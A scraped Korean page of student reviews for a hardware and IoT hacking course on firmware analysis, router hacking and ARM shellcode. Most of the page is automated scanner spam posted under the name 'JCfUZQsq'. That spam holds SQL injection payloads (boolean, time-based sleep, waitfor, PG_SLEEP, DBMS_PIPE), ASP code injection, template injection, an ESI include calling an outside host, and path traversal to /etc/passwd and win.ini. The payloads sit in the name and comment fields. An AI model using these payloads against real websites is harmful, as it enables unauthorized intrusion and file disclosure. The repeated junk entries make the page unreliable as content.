트레이닝 수강 후기 |
|
|
|
|
|
* 이동현 | 실습 >>>> 이론 | 직접 해보는 수업이 대부분이라 지루할 틈은 전혀 없었고요. 수석님 수업 스타일도 굉장히 잘 맞았던 지라 크게 어렵게 느껴진건 전혀 없었습니다. 여러모로 다시 생각해보면 이정도 금액에 이정도 퀄리티면 상당히 괜찮은 그리고 어디에서도 들을 수 없는 희소성있는 강의라고 생각해요. 1년동안 쓸 수 있는 체험학습을 모두 다 써버려서 이제 다시 듣기는 좀 힘들겠지만. 많은걸 배울 수 있었습니다. (중간중간 리얼월드 꿀팁도 주시는데 정말 도움 될 것 같습니다.) 감사합니다.
| |
* 이형범 | 2년 전부터 듣고 싶던 강의 였던터라 2일 동안 즐겁게 수업 받았습니다.
강사님의 지식과 노하우를 통해 많은 도움을 얻었습니다.
이번 강의를 통해 ARM 기반 제품의 Firmware를 분석해 볼 수 있는 기본기가 생긴 것 같아 좋았습니다.
기회가 된다면, 다음에 UART 해킹이나 임베디드 장비 개발 실습 강의도 들어보고 싶습니다.
열심히 강의해주신 강사님께 감사드립니다.
| |
* yjpark | 임베디드에 대한 막연한 어려움이 있다면 본 강의를 추천합니다~! 필요한 내용만 쏙쏙! 그리고 궁금한 내용도 술술~ 임베디드 관련 지식을 정리할 수 있어서 많은 도움이 되었습니다. 번창하세요~
| |
* *Doll | 이틀간 너무~ 너무~ 알찬 강의였습니다:) 수많은 IoT 디바이스가 출시되고 있고, 개발 중인 현시점에서 IoT 디바이스가 어떻게 공격이 이루어지는지 이해할 수 있었던 좋은 강의였던 것 같습니다. 대상인 공유기를 해킹하는 방법을 알아보기 이전에 임베디드 기기의 펌웨어가 만들어지는 과정을 알아보는 시간이 정말 유익하였습니다. 설명으로만 끝나는게 아니라, 만들어지는 과정을 직접 실습을 통해 만들어보면서 임베디드 기기의 펌웨어가 어떻게 구성되는지 쉽게 이해할 수 있었습니다.
공유기를 해킹하는 시간에서는 경험하신 다양한 노하우를 바탕으로 설명을 해주셔서 많이 배울 수 있었습니다. 실제 임베디드 기기가 어떤 부분에서 취약점이 발생하는지, 펌웨어는 어떻게 획득할 수 있는지, 취약점을 분석하기 위해서는 어떻게 디버깅을 하는지 자세히 알 수 있었습니다. 그리고 ARM 어셈블리어를 익히고, Shellcode를 만드는 과정을 단계별로 알아보면서 Shellcode를 제작할 때 알아야할 많은 꿀팁을 배울 수 있었습니다.
이틀간 배운 내용을 잊어버리지 않기위해, 다시 정리하다 보니 인제야 후기를 남기게 됐습니다. :)
다른 하드웨어 해킹 트레이닝도 시간이 생기는 데로 수강해야 할 것 같습니다.
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | jiC6Qh3I
| |
* JCfUZQsq | -1 OR 2+749-749-1=0+0+0+1 --
| |
* JCfUZQsq | -1 OR 2+946-946-1=0+0+0+1
| |
* JCfUZQsq | -1' OR 2+615-615-1=0+0+0+1 --
| |
* JCfUZQsq | -1' OR 2+820-820-1=0+0+0+1 or 'rOn2fH28'='
| |
* JCfUZQsq | -1" OR 2+568-568-1=0+0+0+1 --
| |
* JCfUZQsq | if(now()=sysdate(),sleep(15),0)
| |
* JCfUZQsq | 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
| |
* JCfUZQsq | 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
| |
* JCfUZQsq | (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
| |
* JCfUZQsq | -1; waitfor delay '0:0:15' --
| |
* JCfUZQsq | -1); waitfor delay '0:0:15' --
| |
* JCfUZQsq | 1 waitfor delay '0:0:15' --
| |
* JCfUZQsq | VvSp6qJI'; waitfor delay '0:0:15' --
| |
* JCfUZQsq | -5 OR 997=(SELECT 997 FROM PG_SLEEP(15))--
| |
* JCfUZQsq | -5) OR 503=(SELECT 503 FROM PG_SLEEP(15))--
| |
* JCfUZQsq | -1)) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
| |
* JCfUZQsq | HHFYhfO7' OR 724=(SELECT 724 FROM PG_SLEEP(15))--
| |
* JCfUZQsq | YlLaiWIE') OR 502=(SELECT 502 FROM PG_SLEEP(15))--
| |
* JCfUZQsq | QvbADQsX')) OR 228=(SELECT 228 FROM PG_SLEEP(15))--
| |
* JCfUZQsq | 555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
| |
* JCfUZQsq | 555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
| |
* JCfUZQsq | 1'"
| |
* JCfUZQsq | 1 %2527%2522
| |
* JCfUZQsq | @@yeAJv
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* Lew8wEpB | 555
| |
* -1 OR 2+953-953-1=0+0+0+1 -- | 555
| |
* -1 OR 2+64-64-1=0+0+0+1 | 555
| |
* -1' OR 2+724-724-1=0+0+0+1 -- | 555
| |
* -1' OR 2+622-622-1=0+0+0+1 or 'y6kKvoE4'=' | 555
| |
* -1" OR 2+78-78-1=0+0+0+1 -- | 555
| |
* if(now()=sysdate(),sleep(15),0) | 555
| |
* 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | 555
| |
* 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | 555
| |
* (select(0)from(select(sleep(15)))v)/*'+(select(0)f | 555
| |
* 1 waitfor delay '0:0:15' -- | 555
| |
* DeUlNcfO'; waitfor delay '0:0:15' -- | 555
| |
* GlalWSnx' OR 413=(SELECT 413 FROM PG_SLEEP(15))-- | 555
| |
* Y2g5AdKz') OR 115=(SELECT 115 FROM PG_SLEEP(15))-- | 555
| |
* j4LJdRTD')) OR 950=(SELECT 950 FROM PG_SLEEP(15))- | 555
| |
* JCfUZQsq'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR( | 555
| |
* 1'" | 555
| |
* 1 %2527%2522 | 555
| |
* @@wRxsr | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | response.write(9141632*9895206)
| |
* JCfUZQsq | '+response.write(9141632*9895206)+'
| |
* JCfUZQsq | "+response.write(9141632*9895206)+"
| |
* response.write(9946214*9605006) | 555
| |
* JCfUZQsq | 555
| |
* '+response.write(9946214*9605006)+' | 555
| |
* JCfUZQsq | 555
| |
* "+response.write(9946214*9605006)+" | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | k55dvq2L
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* qBYd3o5p | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq<esi:include src="http://bxss.me/rpb.pn | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | ../../../../../../../../../../../../../../etc/passwd
| |
* JCfUZQsq | 555
| |
* JCfUZQsq |
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | ${10000305+9999605}
| |
* JCfUZQsq | ../../../../../../../../../../../../../../windows/win.ini
| |
* JCfUZQsq | 555
| |
* JCfUZQsq | 12345'"\'\");|]* {
< |